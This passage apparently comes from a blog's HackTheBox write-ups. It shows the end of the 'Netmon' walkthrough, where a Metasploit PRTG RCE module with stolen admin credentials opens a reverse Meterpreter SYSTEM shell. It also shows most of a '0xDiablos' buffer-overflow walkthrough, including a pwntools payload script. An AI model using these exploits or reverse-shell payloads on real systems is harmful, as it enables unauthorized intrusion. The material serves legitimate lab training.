exploit(windows/http/prtg_authenticated_rce) \u003e\u003e info ... Name: PRTG Network Monitor Authenticated RCE Module: exploit/windows/http/prtg_authenticated_rce Platform: Windows Arch: x86, x64 Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent ... Description: Notifications can be created by an authenticated user and can execute scripts when triggered. Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user. The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload. It may require a few tries to get a shell because notifications are queued up on the server. This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE. ... [msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e It is exactly what we have been looking for. Let us set the required options.\n[msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e options Module options (exploit/windows/http/prtg_authenticated_rce): Name Current Setting Required Description ---- --------------- -------- ----------- ADMIN_PASSWORD prtgadmin yes The password for the specified username ADMIN_USERNAME prtgadmin yes The username to authenticate as Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host ... Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 206.189.18.70 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port ... Exploit target: Id Name -- ---- 0 Automatic Targeting ... [msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e set admin_password PrTg@dmin2019 admin_password =\u003e PrTg@dmin2019 [msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e set rhosts 10.129.96.142 rhosts =\u003e 10.129.96.142 [msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e set lhost tun0 lhost =\u003e 10.10.14.11 Once everything is properly configured, we use check to verify the vulnerability of our target.\n[msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e check [*] 10.129.96.142:80 - The target appears to be vulnerable. [msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e That looks promising. Let us run the exploit.\n[msf](Jobs:0 Agents:0) exploit(windows/http/prtg_authenticated_rce) \u003e\u003e run [*] Started reverse TCP handler on 10.10.14.11:4444 [+] Successfully logged in with provided credentials ... [*] Sending stage (175686 bytes) to 10.129.96.142 [*] Meterpreter session 2 opened (10.10.14.11:4444 -\u003e 10.129.96.142:51167) at ... (Meterpreter 2)(C:\\Windows\\system32) \u003e getuid Server username: NT AUTHORITY\\SYSTEM (Meterpreter 2)(C:\\Windows\\system32) \u003e Post-Exploitation We now have a direct shell connection to our target with the highest privileges possible. Hence, no lateral movement or privilege escalation is needed for this box. All that remains is to retrieve our flags and submit their values.\n(Meterpreter 2)(C:\\Windows\\system32) \u003e cd Users\\\\Public\\\\ (Meterpreter 2)(C:\\Users\\Public) \u003e ls Listing: C:\\Users\\Public ======================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- ... 100444/r--r--r-- 34 fil ... user.txt (Meterpreter 2)(C:\\Users\\Public) \u003e cat user.txt \u0026lt;redacted-user-flag\u0026gt; (Meterpreter 2)(C:\\Users\\Public) \u003e cd ..\\\\Administrator\\\\Desktop\\\\ (Meterpreter 2)(C:\\Users\\Administrator\\Desktop) \u003e ls Listing: C:\\Users\\Administrator\\Desktop ======================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- ... 100444/r--r--r-- 34 fil ... root.txt (Meterpreter 2)(C:\\Users\\Administrator\\Desktop) \u003e cat root.txt \u0026lt;redacted-root-flag\u0026gt; (Meterpreter 2)(C:\\Users\\Administrator\\Desktop) \u003e Congratulations \u0026ndash; we have successfully compromised the target machine. All that remains is to terminate the target box (if not terminated already) before continuing with the next box!\n","permalink":"https://onebee.blog/blog/htb/beginner-track/netmon/","summary":"HackTheBox | Beginner Track | Netmon","title":"Netmon"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nChallenge: You know 0xDiablos DESCRIPTION\nI missed my flag.\nSUMMARY\nWe perform static analysis using Ghidra to identify potential vulnerabilities. Upon discovering a buffer overflow vulnerability, we verify its existence and proceed to analyze the target architecture and endianness using pwntools\u0026rsquo; checksec feature.\nWith this information in hand, we use GDB and PEDA to identify the offset and address of the flag() function. We then craft a malicious payload using pwntools to smash the stack and exploit the vulnerability. Before submitting the exploit to the target machine, we verify its effectiveness against a local copy of the executable. After successfully exploiting the target, we submit our exploit and retrieve the recovered flag.\nPreparing Challenge Files After a quick look at the challenge description, we proceed by downloading the challenge files.\nFigure 1: Downloaded challenge archive and verification checksum\nThe archive contains a single compressed file, You know 0xDiablos.zip. We verify its integrity using the provided SHA-256 checksum.\nuser@kali:~$ ll ... -rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip' user@kali:~$ echo -n \"307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c You know 0xDiablos.zip\" | sha256sum -c You know 0xDiablos.zip: OK user@kali:~$ With the file verified, we proceed to decompress it.\nuser@kali:~$ unzip -P hackthebox You\\ know\\ 0xDiablos.zip Archive: You know 0xDiablos.zip skipping: vuln need PK compat. v5.1 (can do v4.6) user@kali:~$ The standard unzip utility fails with a compatibility error. Research indicates that the 7z archiver handles this format, and since it is already installed on the pwnbox, we use it to extract the files.\nuser@kali:~$ 7z x -phackthebox You\\ know\\ 0xDiablos.zip ... Extracting archive: You know 0xDiablos.zip -- Path = You know 0xDiablos.zip Type = zip Physical Size = 3058 Everything is Ok Size: 15656 Compressed: 3058 user@kali:~$ ll ... -rw-r--r-- 1 user user 16K ... vuln -rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip' user@kali:~$ Information Gathering The archive contains a single file: vuln. Examining it with the file command reveals it to be a Linux executable.\nuser@kali:~$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped user@kali:~$ We grant the file execution permissions.\nuser@kali:~$ chmod a+x vuln user@kali:~$ ll ... -rwxr-xr-x 1 user user 16K ... vuln -rw-r--r-- 1 user user 3.0K ... 'You know 0xDiablos.zip' user@kali:~$ We execute the binary to observe its behavior.\nuser@kali:~$ ./vuln You know who are 0xDiablos: test test user@kali:~$ On first execution, the program simply echoes our input. We examine the printable strings within the binary to gather additional information.\nuser@kali:~$ strings vuln \u003e vuln-strings.txt user@kali:~$ cat vuln-strings.txt ... exit fopen puts ... flag.txt Hurry up and try in on server side. You know who are 0xDiablos: ... flag ... .init .text ... .data .bss .comment user@kali:~$ Reverse Engineering - Static Analysis The strings output references flag.txt and a flag function, so we proceed with disassembly using Ghidra.\nThis is how the decompiled vuln() function looks like:\n/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */ void vuln(void) { char local_bc [180]; gets(local_bc); puts(local_bc); return; } Static analysis reveals the following:\nFunction main() calls vuln(), which reads data from standard input and echoes it back. Function vuln() uses the gets() function, which is known to be vulnerable to buffer overflow attacks. The function uses a 180-character array to store input. The flag() function opens flag.txt for reading, verifies two parameters, and returns a value if the checks pass. This is how the decompiled flag() function looks in Ghidra:\nFigure 2: Ghidra decompilation of the flag() function\nThe decompiled source code for flag() follows:\n/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */ void flag(int param_1,int param_2) { char local_50 [64]; FILE *local_10; local_10 = fopen(\u0026#34;flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if (local_10 != (FILE *)0x0) { fgets(local_50,0x40,local_10); if ((param_1 == -0x21524111) \u0026amp;\u0026amp; (param_2 == -0x3f212ff3)) { printf(local_50); } return; } puts(\u0026#34;Hurry up and try in on server side.\u0026#34;); /* WARNING: Subroutine does not return */ exit(0); } The parameter check is particularly significant:\n... if ((param_1 == -0x21524111) \u0026amp;\u0026amp; (param_2 == -0x3f212ff3)) ... We use Ghidra\u0026rsquo;s built-in functionality to convert these hexadecimal values to character representations:\nFigure 3: Ghidra displaying the converted parameter values\nThese are the values we get:\n... if ((param_1 == L\u0026#39;\\xdeadbeef\u0026#39;) \u0026amp;\u0026amp; (param_2 == L\u0026#39;\\xc0ded00d\u0026#39;)) { ... We now have all the necessary components: a buffer overflow vulnerability in vuln() and a target function flag() that requires two specific parameters.\nBuffer Overflow Vulnerabilities Our objective is to overwrite the return address stored on the stack for vuln(), redirecting execution to flag() when vuln() returns.\nA blog post from SANS provides additional detail on buffer overflows and stack canaries.\nKey concepts regarding function calls and stack layout:\nBefore calling a function, the address of the next instruction is pushed onto the stack. When the function returns, this address is popped from the stack into the instruction pointer. The stack grows downward in memory. Parameters are pushed onto the stack before the function is called. When calling flag(param_1, param_2), the stack frame would appear as follows:\nPrevious frame param_2 param_1 Return address Previous frame address Local variables Free memory This technique of overwriting the return address via buffer overflow is commonly called smashing the stack. The process unfolds as follows:\nStep-1: A function allocates a buffer on the stack \u0026ndash; in our case, the local_bc variable in vuln().\nStep-2: The function copies user-controlled data into the buffer without verifying that the data fits within the allocated space \u0026ndash; gets() performs no bounds checking.\nStep-3: User data overflows the buffer, overwriting adjacent stack variables up to the saved return address.\nStep-4: When the function returns, the corrupted return address is loaded into the EIP (instruction pointer) register, redirecting execution.\nStep-5: The program now executes attacker-controlled code \u0026ndash; in this case, the flag() function.\nThe stack frame for vuln() appears as follows:\nPrevious frame \u0026ndash; in main() OVERWRITE \u0026ndash; Return address for vuln() OVERWRITE \u0026ndash; Previous frame address; old EBP Local variables; local_bc Free memory We verify the vulnerability by generating input exceeding the 180-byte buffer size.\nuser@kali:~$ python -c \"print('A'*180)\" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA user@kali:~$ python -c \"print('A'*181)\" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA user@kali:~$ python -c \"print('A'*182)\" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA user@kali:~$ python -c \"print('A'*183)\" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA user@kali:~$ python -c \"print('A'*184)\" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault user@kali:~$ python -c \"print('A'*185)\" | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault user@kali:~$ Input of 184 bytes or more triggers a segmentation fault, indicating that we have successfully overwritten the return address with invalid data (the ASCII character A, hex 0x41).\nGDB - PEDA To locate the memory address of flag(), we employ GDB with the PEDA (Python Exploit Development Assistance) extension. First, we install PEDA.\nuser@kali:~$ git clone https://github.com/longld/peda.git ~/peda Cloning into '/home/user/peda'... ... Receiving objects: 100% (382/382), 290.84 KiB | 5.10 MiB/s, done. Resolving deltas: 100% (231/231), done. user@kali:~$ echo \"source ~/peda/peda.py\" \u003e\u003e ~/.gdbinit user@kali:~$ With PEDA installed, we load the executable in GDB.\nuser@kali:~$ gdb vuln -q Reading symbols from vuln... (No debugging symbols found in vuln) gdb-peda$ PEDA includes utilities for payload generation. We create a cyclic pattern to determine the exact offset at which the return address is overwritten.\ngdb-peda$ pattern_create --help Generate a cyclic pattern Set \"pattern\" option for basic/extended pattern type Usage: pattern_create size [file] gdb-peda$ pattern_create 200 pattern-200.txt Writing pattern of 200 chars to filename \"pattern-200.txt\" gdb-peda$ We feed this pattern to the executable.\ngdb-peda$ run \u003c pattern-200.txt Starting program: /home/user/vuln \u003c pattern-200.txt You know who are 0xDiablos: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xc9 EBX: 0x76414158 ('XAAv') ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7faa000 --\u003e 0x1e3d6c EDI: 0xf7faa000 --\u003e 0x1e3d6c EBP: 0x41594141 ('AAYA') ESP: 0xffffd060 (\"ZAAxAAyA\") EIP: 0x41417741 ('AwAA') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41417741 [------------------------------------stack-------------------------------------] 0000| 0xffffd060 (\"ZAAxAAyA\") 0004| 0xffffd064 (\"AAyA\") 0008| 0xffffd068 --\u003e 0xffffd100 --\u003e 0x1 0012| 0xffffd06c --\u003e 0x3eb 0016| 0xffffd070 --\u003e 0xffffd090 --\u003e 0x1 0020| 0xffffd074 --\u003e 0x0 0024| 0xffffd078 --\u003e 0x0 0028| 0xffffd07c --\u003e 0xf7de0e46 (\u003c__libc_start_main+262\u003e:\tadd esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41417741 in ?? () gdb-peda$ The program crashes because the EIP register contains \u0026lsquo;AwAA\u0026rsquo; (hex 0x41417741), indicating successful overwrite of the return address. We calculate the offset to determine how many bytes precede the return address.\ngdb-peda$ pattern_offset 0x41417741 1094809409 found at offset: 188 gdb-peda$ The offset is 188 bytes. To redirect execution to flag(), we need its starting address. Disassembling flag() reveals the entry point at 0x080491e2.\ngdb-peda$ disass flag Dump of assembler code for function flag: 0x080491e2 \u003c+0\u003e:\tpush ebp 0x080491e3 \u003c+1\u003e:\tmov ebp,esp 0x080491e5 \u003c+3\u003e:\tpush ebx 0x080491e6 \u003c+4\u003e:\tsub esp,0x54 0x080491e9 \u003c+7\u003e:\tcall 0x8049120 \u003c__x86.get_pc_thunk.bx\u003e 0x080491ee \u003c+12\u003e:\tadd ebx,0x2e12 0x080491f4 \u003c+18\u003e:\tsub esp,0x8 0x080491f7 \u003c+21\u003e:\tlea eax,[ebx-0x1ff8] 0x080491fd \u003c+27\u003e:\tpush eax 0x080491fe \u003c+28\u003e:\tlea eax,[ebx-0x1ff6] 0x08049204 \u003c+34\u003e:\tpush eax 0x08049205 \u003c+35\u003e:\tcall 0x80490b0 \u0026lt;fopen@plt\u0026gt; 0x0804920a \u003c+40\u003e:\tadd esp,0x10 0x0804920d \u003c+43\u003e:\tmov DWORD PTR [ebp-0xc],eax 0x08049210 \u003c+46\u003e:\tcmp DWORD PTR [ebp-0xc],0x0 0x08049214 \u003c+50\u003e:\tjne 0x8049232 \u0026lt;flag+80\u0026gt; 0x08049216 \u003c+52\u003e:\tsub esp,0xc 0x08049219 \u003c+55\u003e:\tlea eax,[ebx-0x1fec] 0x0804921f \u003c+61\u003e:\tpush eax 0x08049220 \u003c+62\u003e:\tcall 0x8049070 \u0026lt;puts@plt\u0026gt; 0x08049225 \u003c+67\u003e:\tadd esp,0x10 0x08049228 \u003c+70\u003e:\tsub esp,0xc 0x0804922b \u003c+73\u003e:\tpush 0x0 0x0804922d \u003c+75\u003e:\tcall 0x8049080 \u0026lt;exit@plt\u0026gt; 0x08049232 \u003c+80\u003e:\tsub esp,0x4 0x08049235 \u003c+83\u003e:\tpush DWORD PTR [ebp-0xc] 0x08049238 \u003c+86\u003e:\tpush 0x40 0x0804923a \u003c+88\u003e:\tlea eax,[ebp-0x4c] 0x0804923d \u003c+91\u003e:\tpush eax 0x0804923e \u003c+92\u003e:\tcall 0x8049050 \u0026lt;fgets@plt\u0026gt; 0x08049243 \u003c+97\u003e:\tadd esp,0x10 0x08049246 \u003c+100\u003e:\tcmp DWORD PTR [ebp+0x8],0xdeadbeef 0x0804924d \u003c+107\u003e:\tjne 0x8049269 \u0026lt;flag+135\u0026gt; 0x0804924f \u003c+109\u003e:\tcmp DWORD PTR [ebp+0xc],0xc0ded00d 0x08049256 \u003c+116\u003e:\tjne 0x804926c \u0026lt;flag+138\u0026gt; 0x08049258 \u003c+118\u003e:\tsub esp,0xc 0x0804925b \u003c+121\u003e:\tlea eax,[ebp-0x4c] 0x0804925e \u003c+124\u003e:\tpush eax 0x0804925f \u003c+125\u003e:\tcall 0x8049030 \u0026lt;printf@plt\u0026gt; 0x08049264 \u003c+130\u003e:\tadd esp,0x10 0x08049267 \u003c+133\u003e:\tjmp 0x804926d \u0026lt;flag+139\u0026gt; 0x08049269 \u003c+135\u003e:\tnop 0x0804926a \u003c+136\u003e:\tjmp 0x804926d \u0026lt;flag+139\u0026gt; 0x0804926c \u003c+138\u003e:\tnop 0x0804926d \u003c+139\u003e:\tmov ebx,DWORD PTR [ebp-0x4] 0x08049270 \u003c+142\u003e:\tleave 0x08049271 \u003c+143\u003e:\tret End of assembler dump. gdb-peda$ Generating Payload with pwntools We proceed to create our exploit payload. The pwntools framework streamlines this process considerably.\nInstallation instructions are available on the project website; we follow the standard procedure.\napt-get update; apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential; python3 -m pip install --upgrade pip; python3 -m pip install --upgrade pwntools; With pwntools installed, we create a Python script for payload generation.\nuser@kali:~$ touch payload-gen.py user@kali:~$ codium payload-gen.py user@kali:~$ We examine the binary\u0026rsquo;s security settings using checksec.\nuser@kali:~$ checksec --help usage: pwn checksec [-h] [--file [elf ...]] [elf ...] Check binary security settings positional arguments: elf Files to check optional arguments: -h, --help show this help message and exit --file [elf ...] File to check (for compatibility with checksec.sh) user@kali:~$ checksec vuln [*] '/home/user/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments user@kali:~$ Several factors inform our payload construction:\nThe target is a 32-bit executable. The architecture uses little-endian byte order (indicated by LSB in the file command output). The payload generation script assembles the components we have gathered.\n# payload-gen.py from pwn import * offset = 188 flag_addr = 0x080491e2 eip_addr = p32(flag_addr) garbage = b\u0026#39;A\u0026#39;*offset previous_frame = b\u0026#39;A\u0026#39;*4 param_1 = p32(0xdeadbeef) param_2 = p32(0xc0ded00d) payload = garbage + eip_addr + previous_frame + param_1 + param_2 with open(\u0026#34;payload.txt\u0026#34;, \u0026#34;wb\u0026#34;) as file: file.write(payload) Key aspects of the script:\nThe return address (eip_addr) is packed as a 32-bit little-endian integer using p32(). The output file is opened in binary write mode. We follow the C calling convention for parameter ordering. The previous_frame value serves as padding (exactly four bytes) to account for the saved base pointer. Parameters are packed using the same little-endian format as the return address. We test the payload by setting a breakpoint at flag().\nuser@kali:~$ gdb -q vuln Reading symbols from vuln... (No debugging symbols found in vuln) gdb-peda$ b flag Breakpoint 1 at 0x80491e6 gdb-peda$ We run the executable with our payload.\ngdb-peda$ r \u003c payload.txt Starting program: /home/user/vuln \u003c payload.txt You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� [----------------------------------registers-----------------------------------] EAX: 0xc1 EBX: 0x41414141 ('AAAA') ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7faa000 --\u003e 0x1e3d6c EDI: 0xf7faa000 --\u003e 0x1e3d6c EBP: 0xffffd05c (\"AAAA\") ESP: 0xffffd058 (\"AAAAAAAA\") EIP: 0x80491e6 (\u0026lt;flag+4\u0026gt;:\tsub esp,0x54) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80491e2 \u0026lt;flag\u0026gt;:\tpush ebp 0x80491e3 \u0026lt;flag+1\u0026gt;:\tmov ebp,esp 0x80491e5 \u0026lt;flag+3\u0026gt;:\tpush ebx =\u003e 0x80491e6 \u0026lt;flag+4\u0026gt;:\tsub esp,0x54 0x80491e9 \u0026lt;flag+7\u0026gt;:\tcall 0x8049120 \u003c__x86.get_pc_thunk.bx\u003e 0x80491ee \u0026lt;flag+12\u0026gt;:\tadd ebx,0x2e12 0x80491f4 \u0026lt;flag+18\u0026gt;:\tsub esp,0x8 0x80491f7 \u0026lt;flag+21\u0026gt;:\tlea eax,[ebx-0x1ff8] [------------------------------------stack-------------------------------------] 0000| 0xffffd058 (\"AAAAAAAA\") 0004| 0xffffd05c (\"AAAA\") 0008| 0xffffd060 --\u003e 0x0 0012| 0xffffd064 --\u003e 0xffffd134 --\u003e 0xffffd2ca (\"/home/user/vuln\") 0016| 0xffffd068 --\u003e 0xffffd13c --\u003e 0xffffd2f6 (\"SHELL=/bin/bash\") 0020| 0xffffd06c --\u003e 0x3eb 0024| 0xffffd070 --\u003e 0xffffd090 --\u003e 0x1 0028| 0xffffd074 --\u003e 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080491e6 in flag () gdb-peda$ Execution successfully reaches flag(). However, examination of the decompiled function reveals an additional requirement:\n... if (local_10 != (FILE *)0x0) ... The function only prints the flag if flag.txt opens successfully. We create a local sample file for testing.\nuser@kali:~$ echo -n \"SUCCESS\" \u003e flag.txt user@kali:~$ cat flag.txt SUCCESS user@kali:~$ We restart GDB.\nuser@kali:~$ gdb -q vuln Reading symbols from vuln... (No debugging symbols found in vuln) gdb-peda$ b flag Breakpoint 1 at 0x80491e6 gdb-peda$ r \u003c payload.txt Starting program: /home/user/vuln \u003c payload.txt You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aﾭ� [----------------------------------registers-----------------------------------] EAX: 0xcd EBX: 0x41414141 ('AAAA') ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7faa000 --\u003e 0x1e3d6c EDI: 0xf7faa000 --\u003e 0x1e3d6c EBP: 0xffffd05c (\"AAAAAAAAﾭ\\336\\r\\320\\336\\300\") ESP: 0xffffd058 ('A' \u0026lt;repeats 12 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") EIP: 0x80491e6 (\u0026lt;flag+4\u0026gt;:\tsub esp,0x54) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80491e2 \u0026lt;flag\u0026gt;:\tpush ebp 0x80491e3 \u0026lt;flag+1\u0026gt;:\tmov ebp,esp 0x80491e5 \u0026lt;flag+3\u0026gt;:\tpush ebx =\u003e 0x80491e6 \u0026lt;flag+4\u0026gt;:\tsub esp,0x54 0x80491e9 \u0026lt;flag+7\u0026gt;:\tcall 0x8049120 \u003c__x86.get_pc_thunk.bx\u003e 0x80491ee \u0026lt;flag+12\u0026gt;:\tadd ebx,0x2e12 0x80491f4 \u0026lt;flag+18\u0026gt;:\tsub esp,0x8 0x80491f7 \u0026lt;flag+21\u0026gt;:\tlea eax,[ebx-0x1ff8] [------------------------------------stack-------------------------------------] 0000| 0xffffd058 ('A' \u0026lt;repeats 12 times\u0026gt;, \"ﾭ\\336\\r\\320\\336\\300\") 0004| 0xffffd05c (\"AAAAAAAAﾭ\\336\\r\\320\\336\\300\") 0008| 0xffffd060 (\"AAAAﾭ\\336\\r\\320\\336\\300\") 0012| 0xffffd064 --\u003e 0xdeadbeef 0016| 0xffffd068 --\u003e 0xc0ded00d 0020| 0xffffd06c --\u003e 0x300 0024| 0xffffd070 --\u003e 0xffffd090 --\u003e 0x1 0028| 0xffffd074 --\u003e 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080491e6 in flag () gdb-peda$ We set breakpoints at the parameter comparison instructions.\n... 0x08049246 \u0026lt;+100\u0026gt;:\tcmp DWORD PTR [ebp+0x8],0xdeadbeef ... 0x0804924f \u0026lt;+109\u0026gt;:\tcmp DWORD PTR [ebp+0xc],0xc0ded00d ... gdb-peda$ disass flag Dump of assembler code for function flag: 0x080491e2 \u003c+0\u003e:\tpush ebp 0x080491e3 \u003c+1\u003e:\tmov ebp,esp 0x080491e5 \u003c+3\u003e:\tpush ebx =\u003e 0x080491e6 \u003c+4\u003e:\tsub esp,0x54 0x080491e9 \u003c+7\u003e:\tcall 0x8049120 \u003c__x86.get_pc_thunk.bx\u003e 0x080491ee \u003c+12\u003e:\tadd ebx,0x2e12 0x080491f4 \u003c+18\u003e:\tsub esp,0x8 0x080491f7 \u003c+21\u003e:\tlea eax,[ebx-0x1ff8] 0x080491fd \u003c+27\u003e:\tpush eax 0x080491fe \u003c+28\u003e:\tlea eax,[ebx-0x1ff6] 0x08049204 \u003c+34\u003e:\tpush eax 0x08049205 \u003c+35\u003e:\tcall 0x80490b0 \u0026lt;fopen@plt\u0026gt; 0x0804920a \u003c+40\u003e:\tadd esp,0x10 0x0804920d \u003c+43\u003e:\tmov DWORD PTR [ebp-0xc],eax 0x08049210 \u003c+46\u003e:\tcmp DWORD PTR [ebp-0xc],0x0 0x08049214 \u003c+50\u003e:\tjne 0x8049232 \u0026lt;flag+80\u0026gt; 0x08049216 \u003c+52\u003e:\tsub esp,0xc 0x08049219 \u003c+55\u003e:\tlea eax,[ebx-0x1fec] 0x0804921f \u003c+61\u003e:\tpush eax 0x08049220 \u003c+62\u003e:\tcall 0x8049070 \u0026lt;puts@plt\u0026gt; 0x08049225 \u003c+67\u003e:\tadd esp,0x10 0x08049228 \u003c+70\u003e:\tsub esp,0xc 0x0804922b \u003c+73\u003e:\tpush 0x0 0x0804922d \u003c+75\u003e:\tcall 0x8049080 \u0026lt;exit@plt\u0026gt; 0x08049232 \u003c+80\u003e:\tsub esp,0x4 0x08049235 \u003c+83\u003e:\tpush DWORD PTR [ebp-0xc] 0x08049238 \u003c+86\u003e:\tpush 0x40 0x0804923a \u003c+88\u003e:\tlea eax,[ebp-0x4c] 0x0804923d \u003c+91\u003e:\tpush eax 0x0804923e \u003c+92\u003e:\tcall 0x8049050 \u0026lt;fgets@plt\u0026gt; 0x08049243 \u003c+97\u003e:\tadd esp,0x10 0x08049246 \u003c+100\u003e:\tcmp DWORD PTR [ebp+0x8],0xdeadbeef 0x0804924d \u003c+107\u003e:\tjne 0x8049269 \u0026lt;flag+135\u0026gt; 0x0804924f \u003c+109\u003e:\tcmp DWORD PTR [ebp+0xc],0xc0ded00d 0x08049256 \u003c+116\u003e:\tjne 0x804926c \u0026lt;flag+138\u0026gt; 0x08049258 \u003c+118\u003e:\tsub esp,0xc 0x0804925b \u003c+121\u003e:\tlea eax,[ebp-0x4c] 0x0804925e \u003c+124\u003e:\tpush eax 0x0804925f \u003c+125\u003e:\tcall 0x8049030 \u0026lt;printf@plt\u0026gt; 0x08049264 \u003c+130\u003e:\tadd esp,0x10 0x08049267 \u003c+133\u003e:\tjmp 0x804926d \u0026lt;flag+139\u0026gt; 0x08049269 \u003c+135\u003e:\tnop 0x0804926a \u003c+136\u003e:\tjmp 0x804926d \u0026lt;flag+139\u0026gt; 0x0804926c \u003c+138\u003e:\tnop 0x0804926d \u003c+139\u003e:\tmov ebx,DWORD PTR [ebp-0x4] 0x08049270 \u003c+142\u003e:\tleave 0x08049271 \u003c+143\u003e:\tret End of assembler dump. 